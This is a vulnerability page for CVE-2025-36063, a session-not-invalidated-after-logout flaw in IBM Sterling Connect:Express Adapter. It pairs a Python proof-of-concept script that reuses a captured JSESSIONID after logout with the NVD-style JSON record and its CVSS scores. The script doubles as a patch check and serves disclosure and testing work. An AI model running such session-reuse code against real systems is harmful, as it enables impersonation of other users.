CVE-2025-36063

# CVE-2025-36063 PoC - Session Not Invalidated After Logout # This PoC demonstrates the session management vulnerability in # IBM Sterling Connect:Express Adapter import requests import re TARGET_URL = "https://target-ibm-sterling.example.com:8443" ATTACKER_IP = "192.168.1.100" def exploit_session_not_invalidated(): """ Simulate the attack flow for CVE-2025-36063: Session remains valid after logout, allowing user impersonation """ session = requests.Session() # Step 1: Legitimate user login print("[+] Step 1: Victim user login") login_data = { "username": "victim_user", "password": "victim_password" } response = session.post(f"{TARGET_URL}/login", data=login_data) # Extract session cookie session_cookie = session.cookies.get_dict().get('JSESSIONID') print(f"[+] Session ID obtained: {session_cookie}") # Step 2: Capture session ID (attacker perspective) # In real attack, this could be via XSS, MITM, or session prediction captured_session = session_cookie print(f"[+] Attacker captured session: {captured_session}") # Step 3: Victim performs logout print("[-] Victim logs out") session.post(f"{TARGET_URL}/logout") print("[+] Logout completed (session should be invalidated)") # Step 4: Attacker reuses the old session ID print("[+] Step 4: Attacker reuses captured session ID") attacker_session = requests.Session() attacker_session.cookies.set('JSESSIONID', captured_session) # Step 5: Verify session still works after logout (VULNERABILITY) response = attacker_session.get(f"{TARGET_URL}/api/user/profile") if response.status_code == 200: print("[!] VULNERABLE: Session still valid after logout!") print(f"[!] Attacker can impersonate victim with session: {captured_session}") return True else: print("[+] Patch verified: Session properly invalidated") return False if __name__ == "__main__": print("="*60) print("CVE-2025-36063 - Session Not Invalidated After Logout") print("Target: IBM Sterling Connect:Express Adapter") print("="*60) exploit_session_not_invalidated()

{"cve": {"id": "CVE-2025-36063", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.080", "lastModified": "2026-02-05T17:33:40.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0 5.2.0.00 through 5.2.0.12 does not invalidate session after a logout which could allow an authenticated user to impersonate another user on the system."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adapter para Sterling B2B Integrator 5.2.0 5.2.0.00 hasta 5.2.0.12 no invalida la sesión después de un cierre de sesión, lo que podría permitir a un usuario autenticado suplantar a otro usuario en el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}